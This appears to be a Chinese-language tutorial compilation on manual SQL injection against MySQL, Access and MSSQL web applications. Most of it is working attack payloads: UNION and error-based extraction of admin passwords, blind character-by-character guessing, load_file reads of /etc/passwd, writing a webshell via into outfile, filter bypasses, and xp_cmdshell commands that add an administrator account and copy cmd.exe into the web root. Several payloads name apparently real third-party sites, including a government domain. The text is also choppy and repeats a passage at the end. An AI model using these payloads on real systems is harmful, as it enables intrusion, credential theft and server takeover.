最近在学习MySQL和sqlserver数据库,由于我的专业是信息安全,所以把web安全涉及到的注入全部总结了一下,里面涉及到内容比较多。希望想学习的提前要对这两种数据库有一定了解,才能更好的学习盲注。

  

1)database(),version(),user()

union联合查询,因为只有版本大于4.0,才会支持union查询


。并且只有两个表列数相同时,才会返会正确的表。

有一个information_schema数据库,库里面有一个


http://www.a.com/cms/new.php?id=0 union select 


1,2,table_name,4,5,6 from

information_schema.tables where 


table_schema=0x636D73 limit 0,1

table_schema=[库名],库名要转换成 16 进制

主要利用的还是系统表来进行获取字段。

http://www.a.com/cms/new.php?id=0 union select 


1,2,column_name, 4,5,6 from

information_schema.columns where 


table_name=0x726F6F74 limit 0, 1


http://www.a.com/cms/new.php?id=0 union select

1,2,root_id,root_name,root_pass,6 from cms.root

例如在 mysql 注入中,当在黑名

单中过滤了空格字符,我们可以使用"/*(mysql 中注释符)"


和"+"来代替空格,绕过黑名

单的限制继续注入,因此我们应该尽量多使用白名单。

2)access数据库,偏移注入的详解

当我们遇到asp的数据库的时候,如果猜username和

password的时候,数据库里面没有,则我们怎么办呢,这个时

候我们就会想到偏移注入。

      偏移注入是通内连接对应相同的id,来显示出密码的。

http://www.hnjyw.gov.cn/show.asp?id=762 UNION 


SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin

猜admin这个表里面有4个字段,如果返回正确则说明我们猜对

了。如果返回错误的话,则字段数说明是不正确的,继续变大

,或者是变小。

等到下一论猜表的时候,则就需要减相同的字段数。

http://www.hnjyw.gov.cn/show.asp?id=764 UNION 


SELECT 1,2,3,4,5,6,7,8,9,10,11,12,* from (admin as a inner 


join admin as b on a.id=b.id)

http://www.hnjyw.gov.cn/show.asp?id=764 UNION 


SELECT 1,2,3,4,5,6,7,8,9,10,11,12,a.id,* from (admin as a 


inner join admin as b on a.id=b.id)

返回结果还是没有变


再来 在a.id后面再加上b.id

http://www.hnjyw.gov.cn/show.asp?id=764 UNION 


SELECT 1,2,3,4,5,6,7,8,9,10,11,12,a.id,b.id,* from (admin 


as a inner join admin as b on a.id=b.id)

看我操作


我们在12后面再减去4,那就是


http://www.hnjyw.gov.cn/show.asp?id=764 UNION 


SELECT 1,2,3,4,5,6,7,8,a.id,b.id,c.id,* from ((admin as a 


inner join admin as b on a.id=b.id) inner join admin as c 


on a.id=c.id)这样了 


很幸运  返回正确了

另外一种来进行偏移注入的方法


我们就这样一个一个往上加 看:

http://www.hoyu456.com/ProView.asp?id=211 and 1=2 


union select 1,* from adminuser

出现错误    不行   在加一个

http://www.hoyu456.com/ProView.asp?id=211 and 1=2 


union select 1,2,* from adminuser

也是出现错误,  我们继续往上加:

当我们加到:7 的时候  就爆出来了 

http://www.hoyu456.com/ProView.asp?id=211 and 1=2 


union select 1,2,3,4,5,6,7,* from adminuser

页面就可以了  同时也爆出了密码


好了  既然我们爆出了密码  那我们就来爆用户名吧

因为我们刚的字段数是13  则我们加到 7 的时候就爆出东西了 


所以 我们就把总字段数的13 减7 等于6  * 表示adminuser里


有6个字段

然后我们用 6 乘于2等于12   再用总字段数的13 减去12 等于1

好了既然已经得出等于1了   我们就来爆帐号吧:

我们要在from的后面加一条这样的语句:(adminuser as a 


inner join adminuser as b on a.id=b.id)  

看:

http://www.hoyu456.com/ProView.asp?id=211 and 1=2 


union select 1,* from (adminuser as a inner join 


adminuser as b on a.id=b.id)

看到没  这里我们只写了1个字段  这一个字段就是咱们刚才13


减去12等于1 的

我们要在1的后面有个* 号然后在from后面加上那条语句就这样


就爆出了帐号密码了


2.另外一种奇葩的注入类型,是通过base64来进行转换来进行


注入。

order by  select等语句都要变换成base64,才可以爆出最后


的结果。



MSSQL手工注入方法

and 1=convert(int,(select top 1 name from sysobjects 


where xtype='U')) 如果select过滤的话可以转换一下编码

如果成功则会出现第一个表,假设第一表为OA_LOCKIP

如果不是管理员,则继续注入

and 1=convert(int,(select top 1 name from sysobjects 


where xtype='U' and name not in('OA_LOCKIP)))

如果还不是,就一直猜下去,直到为止,每一次的时候只要把


not in ()括号里面的值换一下就可以了。


一般思路有两个,一个是直接到后台去看源码,一般从那里可


以知道字段,还有一个是猜。非常懒的就选择第二个方法了。

假设我们字段就是username和password,还有一个主键id

爆内容:and 1=convert(int,(select top 1 password from 


A_Admin)) and 1=convert(int,(select top 1 username 


from A_Admin))



3种报错注入

mysql 3种报错模式注入


1、通过floor报错


可以通过如下一些利用代码


and select 1 from (select count(*),concat(version(),floor


(rand(0)*2))x from information_schema.tables group by 


x)a);


and (select count(*) from (select 1 union select null 


union select  !1)x group by concat((select table_name 


from information_schema.tables  limit 1),floor(rand(0)


*2)));

其实有一些exp也是这样写的,如果你能看懂这两行MySQL代码,证明你的注入水平提高了。其实有时间你看看sqlmap,里面有的源代码是在 xml/payload这个目录里面,将会提高你的注入水平。


举例如下:

首先进行正常查询:


mysql> select * from article where id = 1;

+----+-------+---------+

| id | title | content |

+----+-------+---------+

|  1 | test  | do it   |

+----+-------+---------+


假如id输入存在注入的话,可以通过如下语句进行报错。


mysql> select * from article where id = 1 and (select 1 


from  (select count(*),concat(version(),floor(rand(0)*2))x 


from  information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry '5.1.33-community-


log1' for key 'group_key'


可以看到成功爆出了Mysql的版本,如果需要查询其他数据,

可以通过修改version()所在位置语句进行查询。

例如我们需要查询管理员用户名和密码:


Method1:


mysql> select * from article where id = 1 and (select 1 


from  (select count(*),concat((select pass from admin 


where id  =1),floor(rand(0)*2))x from 


information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry 'admin8881' for key 


'group_key'


Method2:


mysql> select * from article where id = 1 and (select 


count(*)  from (select 1 union select null union select !1)x 


group by  concat((select pass from admin limit 1),floor


(rand(0)*2)));

ERROR 1062 (23000): Duplicate entry 'admin8881' for key 


'group_key'


2、ExtractValue

测试语句如下


and extractvalue(1, concat(0x5c, (select table_name from 


information_schema.tables limit 1)));


实际测试过程


mysql> select * from article where id = 1 and 


extractvalue(1, concat(0x5c,(select pass from admin limit 


1)));--

ERROR 1105 (HY000): XPATH syntax error: '\admin888'


3、UpdateXml


测试语句


and 1=(updatexml(1,concat(0x5e24,(select user


()),0x5e24),1))


实际测试过程


mysql> select * from article where id = 1 and 1=


(updatexml(1,concat(0x5e24,(select pass from admin 


limit 1),0x5e24),1));

ERROR 1105 (HY000): XPATH syntax error: '^


$admin888^$'



手工注入php+MySQL参数,技巧和描述



注入这个词自从数据库与动态脚本诞生至今日,一直是黑客们


乐不此彼的谈论话题,现在Injection的思想已经不仅仅限于


SQL当中,File Include,Command Execution等等,已经延


伸到了WEB入侵的各种手段中。

我想要说的并不是如何去注入一个网站,而是注入的原理。

作者:Juliet @ Silic Group

本篇文章我要讲的内容,和《[黑客攻防 零基礎學習]什么是注


入 Whats SQL Injection?》一样,属于最基础的课程,看了前


面那篇,再看这篇,循序渐进


先讲关于mysql数据库的user表段

MySQL无论4.x还是5.x,都有一个独立的数据库,名字就叫“


mysql”,当中有很多数据表,保存MySQL的各种设置参数。


其中user表段设置了MySQL中数据库用户的部分信息。

user表段中,user字段为用户登陆名,可以有相同的名字重复

password字段为登陆密码哈希,是40位的密文,类似于md5

host字段设置的是这个用户可以在哪些机器上登陆,如果为


localhost表示只能是本机登陆,host可以是数据库ip也可以是


数据库服务器的名称,例如“mysqldbserver”之类。若host


为“localhost”不一定表示没有希望,如果服务器某个网站装


有phpmyadmin这个软件的话,仍然是可以利用的

file_priv字段规定了这个用户是不是可以读取硬盘里面的文件,


设置为Y则表示允许,设置为N则表示禁止。


然后讲MySQL注入中常用的一些参数。


参数:

注入语句的格式为:


 union+select+1,2,3,XO,4,...n+from+XXOO


复制代码

参数的使用位置为上述语句中的XO位置,有的参数可搭配使用


,例如concat(user,0x3a,version)

user()

数据库的用户,格式为 user @ server 例如 root@ localhost 


通常最高管理账户为root,服务器以localhost也就是本地居多


,也可以是服务器名例如mysqldbsever,也可以是ip例如


192.168.100.111

所有的user,都会在mysql数据库的user表段中记录,用于设


置权限等


database()

当前数据库名,网站建设者任意给予的数据库的名称


version()

当前使用的数据库的版本,通常为4.x或者5.x,更低版本没遇到


过,存在更高级的6.x的版本,版本最后通常会表明系统的版本


,例如5.x.x-nt表示nt(windows)系统下使用的mysql版本


@@datadir

数据路径。数据库储存数据总要有个路径放数据,就是这里了


。windows常用,通常用于load_file时猜测网站路径等。例如


c:\program files\mysql5\data\


concat()

联合数据。和联合函数union不同,union用于联合两条SQL语


句,这个用于联合两条数据结果。通常是联合两个字段名,在


错误回显注入法中,这个函数会联合更复杂的,以后会讲。

数据库中管理员通常有登录名和密码等多个字段,用concat轻


松一次注入出来。例如concat(username,0x3a,password),


不同字段用逗号,隔开,中间加一个hex编码值。

冒号进行hex编码(不知道这个编码的自己Google)得到0x3a


,放在concat里面注入以后就显示冒号(自己试验),常用的


有0x3a,0x5c,0x5f,0x3c62723e等


group_concat()

用法与上面类似,通常格式如下:group_concat(DISTINCT


+user,0x3a,password),group_concat顾名思义,如果管理


员账号不止一个的话,concat一次只能注入出来一个,进行依


次注入显然太慢,于是使用group_concat把多条数据一次注入


出来。DISTINCT我就不赘言了,你自己试验一下或者Google


一下就行,很简单。


concat_ws()

用法类似


hex()和unhex()

有一些注入点由于数据库中对数据字段的类型定义,可能不支


持union来显示某些不同类型的内容,所以使用hex对数据进行


hex编码,例如union+select+hex(password)+from


+mysql.user

注入出来的数据全都是0x1234567890abcdef类似的数据,使


用winhex等工具转换回编码即可

hex参数可用于任何参数外面,hex(concat(xxoo)),hex(user


()),hex(database())


load_file()

这是MySQL以文本方式读取文件的参数,例如:linux系统的网


站load_file('/etc /passwd')或者windows系统的网站


load_file('c:\\boot.ini')

这个参数可以用的前提是,你user()得到的用户名(参见关于


mysql.user表介绍),在mysql.user表中的字段file_priv设置为


Y,则load_file()参数则可用

需要注意的是,如果为windows系统,保险起见将路径设置为


双斜杠\\ 因为在计算机语言中双斜杠才是单斜杠的意思,如果


为单斜杠,例如d:\table,那么这个路径中得\t就会被解析为键


盘上的tab键,\n\r类似,最终得不到想要的结果

很多时候,php的网站的gpf会设置为on(就是对特殊字符做


修改,例如单引号'自动修改为\'),那么load_file('c:\


\boot.ini')就变成:load_file(\'c:\\\\boot.ini\')出现语法错误


,得不到结果

解决方法就是,和concat参数一样,hex混用,将c:\\boot.ini


进行hex编码,得到:0x633a5c5c626f6f742e696e69,原语


句修改为:union+select+1,load_file


(0x633a5c5c626f6f742e696e69)即可

使用load_file参数后面可以不加from


select XXOO into outfile '路径';

这种用法基本没太有用,但是仍然有遇到过。用法就是


+union+select+webshell的hex编码+into+outfile+'网站物


理路径\\a.php';

前提是gpf设置为off,有注入点,权限很大,file_priv设置为Y


,已知网站路径。虽然条件苛刻,不过仍然就是有很多2B管理


员创造了这样的条件



关于几点需要注意:

注入时,猜字段爆数据,有时候会遇到一些网站编写者在原始


语句后面加一些语句例如order by啊desc啊等等,例如


 SELECT 1,2,3,4 FROM news where id=1 ORDER BY date 


DESC


复制代码

注入语句以后:


 select 1,2,3,4 from news where id=1 union select 1,2,3,4 


from admin order by date DESC


复制代码

admin表中没有date字段,如何DESC?这就容易出现,不管你


怎么注都会提示错误。

所以,通常注入的时候,在语句最后加一个--横杠或者/*注释符


,结束后面的语句

就是这样:


 news.php?id=1+union+select+1,2,3,4+from+admin--

 news.php?id=1+union+select+1,2,3,4+from+admin/*


复制代码

注入时,union联合了前面和后面两个语句,系统到底执行哪


个呢?这个你不要担心,只要前面那个出现了逻辑错误,


union一定执行后面一个注入的SQL语句

之前说过逻辑错误,也就是and+1=2,计算机中1不可能等于2


,那么就逻辑错误了。

但是,因为浏览器地址栏有限,有时候写不开那么多1234数字


等等(最多我见过300多个字段的),那么想要废除1=2?简单

你之前应该发现了,我通常将地址栏上面的id=写成等于负一,


news.php?id=-1

id通常都是正整型的,哪有负数,0都没有,所以写-1或者0,


和and 1=2是一样的效果,都是逻辑错误,前面等于负数发生


逻辑错误了,union自然100%的无悬念的执行union后面你插


入的SQL语句了


普第二章-PHP+MySQL injection攻击:浅谈网页安全


php以其跨平台的优越性著称。很多网站采用php编写。因为


没有像asp那么多的入侵工具,很多人对php的后台并不重视。


很多人编写网站时,对于页面变量的过滤仅仅限于asp上面的过


滤,但他们大多都不安全。

这次我们以中国公路学会为例子,给大家演示(不要动歪脑筋


,我已经通知了漏洞!)


到谷歌搜“inurl:.php?articalid=”得到第一个条目:中国公路


学会http://www.chts.cn/info.php?articleid=545

我们就拿它来测试安全性。


首先我们看一段php语句(php的一般语句,并不是实际例子


中的语句):


 SELECT * /* Select all(选择全部) */

 FROM products /* products */

 WHERE category='bikes' AND '1'='2' /* false condition */

 UNION SELECT * /* append all new_products*/

 FROM new_products /* to the previous result set */


什么意思呢??我想给大家看的是“/*XXXX*/”,没错,会编


程的,都知道这是代码注释!换句话说,在代码编译的过程中


,这部分会被忽略。充其量他就是个回车或者空格


怎么测试安全性呢?

在原来的地址上http://www.chts.cn/info.php?articleid=545

后面加上注释:

http://www.chts.cn/info.php?articleid=545/*ABCD234*/

再次访问,发现和原来的页面一样没变化。正常显示就表示这


次是成功的注射。怎么说呢?

看这里:http://bbs.shudoo.com/viewthread.php?


tid=1790611&extra=page%3D1

这个是GET方式提交吧?好吧好吧,注射就是注入,我们用GET


的方式把恶意的语句插入到了原来的代码里就叫注入

我们加了/*ABCD234*/,原来的php代码就成了(没看get和


post的就不会理解的)


'select * from chts_article where 


articleid=545/*ABCD234*/ 然后原本后面的语句仍然继续执



这是注释插入,我们看到了插入了注释,充其量就是个空格或


者回车。

我们继续访问http://www.chts.cn/info.php?articleid=545标


题是《关于举办2005年全国公路治超与计重收费技术研讨会的


通知》

变一下变量访问http://www.chts.cn/info.php?articleid=54


标题是《关于举办2005年全国公路治超与计重收费技术研讨会


的通知》

我们看到了两个不同标题的文档。编号545和编号54的文档。

我们下面用and和or来测试:

继续使用GET

http://www.chts.cn/info.php?articleid=545/*ABC*/or 


articalid=54

原本articleid=545的页面就成了54号文档《关于举办2005年


全国公路治超与计重收费技术研讨会的通知》了

这是怎么回事呢,就是一个逻辑门,学过编程的都应该知道这


个。

再看原来的php语句就成了'SELECT * FROM chts_article 


WHERE articleid = 545/*ABCD234*/or articleid = 54

不懂编程的话,and和or你也就不用知道了


既然已经确定过滤不严漏洞存在了,就要猜表段数

其实这个比较机械,而且非常机械,网上的工具很多

这里我猜的表段是第17

http://www.chts.cn/info.php?


articleid=545/**/and/**/1=2/**/union/**/select/**/1,2,3,4


,5,6,7,8,9,10,11,12,13,14,15,16,17/*

这个当做是排座位好了,不需要理解太深(其实我也不怎么理


解,我怕我说了不对被人笑哈)

好了,下面开始猜表段名我们假设是admin

那么语句就该是:

http://www.chts.cn/info.php?


articleid=545/*Juliet_NaNa*/and/*Juliet_NaNa*/1=2/*Juli


et_NaNa*/union/*Juliet_NaNa*/select/*Juliet_NaNa*/1,2,


3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*Juliet_NaNa*/from/*


Juliet_NaNa*/admin/*

显然显示错误


 SQL 无效: select * from chts_article where 


articleid=545/*dfgdfgfd*/and/*Juliet_NaNa*/1=2/*Juliet_


NaNa*/union/*Juliet_NaNa*/select/*Juliet_NaNa*/1,2,3,4,


5,6,7,8,9,10,11,12,13,14,15,16,17/*Juliet_NaNa*/from/*Juli


et_NaNa*/admin/* and visible=1



没关系,我们看到它爆出什么来了?是php源


 select * from chts_article where articleid=545



文章的表段是chts_article 字段是articleid,编号是545

那么我们拿它来试验

http://www.chts.cn/info.php?


articleid=545/*Juliet_NaNa*/and/*Juliet_NaNa*/1=2/*Juli


et_NaNa*/union/*Juliet_NaNa*/select/*Juliet_NaNa*/1,2,


3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*Juliet_NaNa*/from/*


Juliet_NaNa*/chts_article/*

显示正常,那么我们继续来看字段:

http://www.chts.cn/info.php?


articleid=545/*Juliet_NaNa*/and/*Juliet_NaNa*/1=2/*Juli


et_NaNa*/union/*Juliet_NaNa*/select/*Juliet_NaNa*/1,2,


3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*Juliet_NaNa*/from/*


Juliet_NaNa*/chts_article/**/where/**/articleid=545/*

还是正常,悲剧!:32;

居然都是一样的页面,哪里不对呢?哈哈,and 1=2改成and 


1=1再试试

跟http://www.chts.cn/info.php?articleid=545一样的页面,


为什么呢?

因为我们是拿数据库储存文章的表段和字段试验的,如果拿管


理员的字段和表段,那么原来显示文章的地方就可能会显示管


理员的名称和密码的MD5值

管理员表段字段是什么呢?

我不知道。你以为黑客都那么厉害?都很辛苦的!字段表段要


靠猜的,出不出的来要看人品

除非数据库是MSSQL或者MySql的版本是5.x的,这样可以想


别的办法爆出所有表段和字段,本文讲的并不深,所以那些以


后再讲吧

再看一个power by skycn的例子:

http://soft.ny.shangdu.com/down.php?


id=47488/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6


,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2


7,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46


,47,48,49/**/from/**/downfile


mssql注入介绍

为了全面了解动态网页回答的信息,首选请调整 IE 的配置。把 


IE

菜单-工具-Internet 选项-高级-显示友好 HTTP 错误信息前


面的勾去

掉。

一般注入有两种形式,一种是数字型,还有一种字符型 ‘1’='1' or '1'='2'

如果过滤了字符,则还有几种检测的方法

①大小定混合法:由于 VBS 并不区分大小写,而程序员在过滤

时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写

混合往往会被忽视。如用 SelecT 代替 select,SELECT 等;

②UNICODE 法:在 IIS 中,以 UNICODE 字符集实现国际化,我们完全可以 IE 中输入的字符串化成 UNICODE 字符串进行输入。如

+

=%2B,空格=%20 等

③ASCII 码法:可以把输入的部分或全部字符全部用 ASCII 码


代替,

如 U=chr(85),a=chr(97) 等

1、 利用数据库服务器的系统变量进行区分

SQL- SERVER 有 user,db_name() 等系统变量,利用这些系


统值不仅

可以判断 SQL-SERVER,而且还可以得到大量有用信息。如:

① HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 不仅

可以判断是否是 SQL-SERVER,而还可以得到当前连接

到数据库的用户名

②HTTP://xxx.xxx.xxx/abc.asp?p=YY and db_name()>0 不

仅可以判断是否是 SQL-SERVER,而还可以得到当前正在使用

的数据库名;

access的系统表是msysobjects,且在web环境下是没有访问权


限的,而sqlserver是sysobjects,在web环境下是有访问权限


的。

①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select

count(*) from sysobjects)>0

如果是sqlsver的数据库,则运行是正常的。

sysdatabases 系统表: Microsoft SQL Server 上的每个数据


库在

表中占一行。最初安装 SQL Server 时, sysdatabases 包含 


master、

model、 msdb、 mssqlweb 和 tempdb 数据库的项。该表


只存储在

master 数据库中。 这个表保存在 master 数据库中,这个表

中保存

的是什么信息呢?这个非常重要。他是 保存了所有的库名,以及

的 ID 和一些相关信息。

这里我把对于我们有用的字段名称和相关说明给大家列出来。

name //表示库的名字。

dbid  //表示库的 ID, dbid 从 1 到 5 是系统的。分别是: 

master、

model、 msdb、 mssqlweb、 tempdb 这五个库。 用 

select * from master.dbo.sysdatabases 就可以查询出所有的库名。

name dbid 1-5一共有五个系统库。

and (select count(*) from sysobjects)>0 判断是否sqlser

Sysobjects: SQL-SERVER 的每个数据库内 都有此系统表,

它存放该数据库内 创建的所有对象,如约束、默认值、日志、

规则、存储过程等,每个对象在表中占一行。 以下是此系统表

的字段名称和相关说明。

Name, id, xtype, uid, status:分别是对象名 , 对象 


ID,

对象类型, 所有者对象的用户 ID,对象状态。

对象类型(xtype)

C = CHECK 约束

D = 默认值或 DEFAULT 约束

F = FOREIGN KEY 约束

U = 用户表

S = 系统表

X = 扩展存储过程

当 xtype=' U' and status>0 代表是用户建立的表, 对象

名就是表名,对象 ID 就是表的 ID 值。

用: select * from ChouYFD.dbo.sysobjects where 


xtype='U'

and status>0 就可以列出库 ChouYFD 中所有的用户建立的

表名 

select * from kafeng.dbo.sysobjects where xtype='U' and 


status>0

syscolumns : 每个表和视图中的每列在表中占一行,存

储过程中的每个参数在表中也占一行。该表位于每个数据库

中。 主要字段有:

name , id, colid :分别是字段名称, 表 ID 号, 字段

ID 号, 其中的 ID 是 刚上我们用 sysobjects 得到的表的 ID

号。

用: select * from ChouYFD.dbo.syscolumns where

id=123456789 得到 ChouYFD 这个库中,表的 ID 是

123456789 中的所有字段列表。


2)上面也算是盲注的一种形式吧,第二种我们来确定一下是否


开启xp_cmdshell,如果开户这个的话,我们直接就可以提权了

1、 HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 


abc.asp 执行异

常但可以得到当前连接数据库的用户名(若显示 dbo 则代表 SA) 


2、 HTTP://xxx.xxx.xxx/abc.asp?p=YY and db_name()>0 


abc.asp 执

行异常但可以得到当前连接的数据库名。

3、 HTTP://xxx.xxx.xxx/abc.asp?p=YY; exec 


master..xp_cmdshell

“ net user aaa bbb /add” -- (master 是 SQL-SERVER 的


主数据库;名中

的分号表示 SQL-SERVER 执行完分号前的语句名,继续执行其


后面的语句;

“ —”号是注解,表示其后面的所有内容仅为注释,系统并不


执行) 可以直

接增加操作系统帐户 aaa, 密码为 bbb。


4、 HTTP://xxx.xxx.xxx/abc.asp?p=YY; exec 


master..xp_cmdshell

“ net localgroup administrators aaa /add” -- 把刚刚增加


的帐户 aaa

加到 administrators 组中。

5、 HTTP://xxx.xxx.xxx/abc.asp?p=YY; backuup 


database 数据库名

to disk=' c: \inetpub\wwwroot\save.db'  则把得到的数据内


容全部备份

到 WEB 目录下,再用 HTTP 把此文件下载(当然首选要知道 


WEB 虚拟目录) 。

6、通过复制 CMD 创建 UNICODE 漏洞

HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec 


master.dbo.xp_cmdshell

“copy c:\winnt\system32\cmd.exe c:\inetpub\scripts


\cmd.exe” 便制造了一

个 UNICODE 漏洞,通过此漏洞的利用方法,便完成了对整个


计算机的控

制(当然首选要知道 WEB 虚拟目录) 。



先创建一个临时表: temp

HTTP://xxx.xxx.xxx/abc.asp?p=YY; create table temp(id

nvarchar(255),num1 nvarchar(255),num2 nvarchar


(255),num3

nvarchar(255));--


接下来:

( 1)我们可以利用 xp_availablemedia 来获得当前所有驱动


器,

并存入 temp 表中:

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert temp exec

master.dbo.xp_availablemedia;--

我们可以通过查询 temp 的内容来获得驱动器列表及相关信息

( 2)我们可以利用 xp_subdirs 获得子目录列表,并存入 temp 


中:

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) 


exec

master.dbo.xp_subdirs 'c:\';--

( 3)我们还可以利用 xp_dirtree 获得所有子目录的目录树结


构,

并寸入 temp 表中:

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp


(id,num1)

exec master.dbo.xp_dirtree 'c:\';--

这样就可以成功的浏览到所有的目录(文件夹)列表:

如果我们需要查看某个文件的内容,可以通过执行 xp_cmdsell


HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) 


exec

master.dbo.xp_cmdshell 'type c:\web\index.asp';--

使用'bulk insert' 语法可以将一个文本文件插入到一个临时

表中。如: bulk insert temp(id) from

'c: \inetpub\wwwroot\index.asp' 

浏览 temp 就可以看到 index.asp 文件的内容了!通过分析各


种 ASP

文件,可以得到大量系统信息, WEB 建设与管理信息,甚至


可以得到 SA

帐号的连接密码。

当然,如果 xp_cmshell 能够执行,我们可以用它来完成:

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) 


exec

master.dbo.xp_cmdshell 'dir c:\';--

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) 


exec

master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--

通过 xp_cmdshell 我们可以看到所有想看到的,包括 W3svc

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) 


exec

master.dbo.xp_cmdshell 'cscript C:\Inetpub


\AdminScripts\adsutil.vbs enum

w3svc'

但是,如果不是 SA 权限,我们还可以使用

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp


(id,num1) exec

master.dbo.xp_dirtree 'c:\';--

注意:

1、以上每完成一项浏览后,应删除 TEMP 中的所有内容,删


除方法

是:

HTTP://xxx.xxx.xxx/abc.asp?p=YY;delete from temp;--


2、浏览 TEMP 表的方法是: (假设 TestDB 是当前连接的数据


库名)

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id 

from

TestDB.dbo.temp )>0 得到表 TEMP 中第一条记录 id 字段的

值,并与

整数进行比较,显然 abc.asp 工作异常,但在异常中却可以发


现 id 字

段的值。 假设发现的表名是 xyz,则

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id 

from

TestDB.dbo.temp )>0 where id not in('xyz'))>0 得到表 

TEMP 中第二条

记录 id 字段的值。

猜解所有数据库名称

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) 


from

master.dbo.sysdatabases where name>1 and dbid=6) 


<>0 因为 dbid 的

值从 1 到 5,是系统用了。所以用户自己建的一定是从 6 开始


的。并且

我们提交了 name>1 (name 字段是一个字符型的字段和数字


比较会出

错),abc.asp 工作异常,可得到第一个数据库名,同理把 DBID 

分别改成

7,8, 9,10,11,12…就可得到所有数据库名。

and (select count(*) from master.dbo.sysobjects where 


name>1 and dbid=6) 这样就可以依次来进行猜解数据库了。


猜解数据库中用户名表的名称

猜解法:此方法就是根据个人的经验猜表名,一般来说,

user,users,member,members,userlist,memberlist,userinfo


,manager, admin,adminuser,systemuser,systemusers,sysuser,sysusers,sys

accounts,systemaccounts 等。并通过语句进行判断

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from

TestDB.dbo. 表名 )>0 若表名存在,则 abc.asp 工作正常,否


则异常。

如此循环,直到猜到系统帐号表的名称。


读取法: SQL-SERVER 有一个存放系统核心信息的表 


sysobjects,

有关一个库的所有表,视图等信息全部存放在此表中,而且此


表可以通

过 WEB 进行访问。

当 xtype=' U' and status>0 代表是用户建立的表,发现并分

析每

一个用户建立的表及名称,便可以得到用户名表的名称,基本

的实现方

法是:

①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name

from TestDB.dbo.sysobjects where xtype=' U' and status>0 )>0 得

到第一个用户建立表的名称,并与整数进行比较,显然 

abc.asp 工作异

常,但在异常中却可以发现表的名称。假设发现的表名是 xyz


,则

②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name

from TestDB.dbo.sysobjects where xtype=' U' and status>0 and name

not in('xyz'))>0 可以得到第二个用户建立的表的名称,同理就

可得到

所有用建立的表的名称。

根据表的名称,一般可以认定那张表用户存放用户名及密码,

以下

假设此表名为 Admin。

猜解用户名字段及密码字段名称

admin 表中一定有一个用户名字段,也一定有一个密码字段,

只有

得到此两个字段的名称,才有可能得到此两字段的内容。如何

得到它们

的名称呢,同样有以下两种方法。

猜解法:此方法就是根据个人的经验猜字段名,一般来说,用

户名

字段的名称常用: username,name,user,account 等。而密

码字段的名

称常用: password,pass,pwd,passwd 等。并通过语句进行

判断

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(字段名 )

from TestDB.dbo.admin)>0 “ select count(字段名 ) from 表名”语

句得到表的行数,所以若字段名存在,则 abc.asp 工作正常,

否则异常。

如此循环,直到猜到两个字段的名称。

读取法: 基本的实现方法是

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1

col_name(object_id('admin'),1) from

TestDB.dbo.sysobjects)>0 。 select top 1

col_name(object_id(' admin'),1) from 

TestDB.dbo.sysobjects 是从

sysobjects 得到已知表名的第一个字段名,当与整数进行比较

,显然

abc.asp 工作异常,但在异常中却可以发现字段的名称。把

col_name(object_id(' admin'),1) 中的 1 依次换成 2,3,4,5, 

6就可

得到所有的字段名称。

猜解用户名与密码

猜用户名与密码的内容最常用也是最有效的方法有:

ASCII 码逐字解码法: 虽然这种方法速度较慢,但肯定是可行的

基本的思路是先猜出字段的长度,然后依次猜出每一位的值。

猜用户名与猜

密码的方法相同,以下以猜用户名为例说明其过程。

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1

len(username) from TestDB.dbo. admin)=X(X=1,2, 3,4, 

5, n,

username 为用户名字段的名称, admin 为表的名称) ,若 x 

为某一值 i

且 abc.asp 运行正常时,则 i 就是第一个用户名的长度。如:

当输入

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1

len(username) from TestDB.dbo. admin)=8 时 abc.asp 运

行正常,则

第一个用户名的长度为 8

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1

ascii(substring(username,m,1)) from TestDB.dbo. 

admin)=n (m 的值在 1 到上一步得到的用户名长度之间,当 m=1, 2,3, 时

猜测分别

猜测第 1,2,3, 位的值; n 的值是 1~9、 a~z、 A~Z 的 

ASCII 值,也就是

1~128 之间的任意值; admin 为系统用户帐号表的名称) ,若 

n 为某一值

i 且 abc.asp 运行正常时,则 i 对应 ASCII 码就是用户名某一

位值。如:

当输入

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1

ascii(substring(username,3,1)) from TestDB.dbo. admin)


=80 时

abc.asp 运行正常,则用户名的第三位为 P(P 的 ASCII 为 80) 

;HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1

ascii(substring(username,3,1)) from TestDB.dbo. admin)


=80 时HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1

ascii(substring(username,3,1)) from TestDB.dbo. admin)


=80 时

abc.asp 运行正常,则用户名的第三位为 P(P 的 ASCII 为 80) 

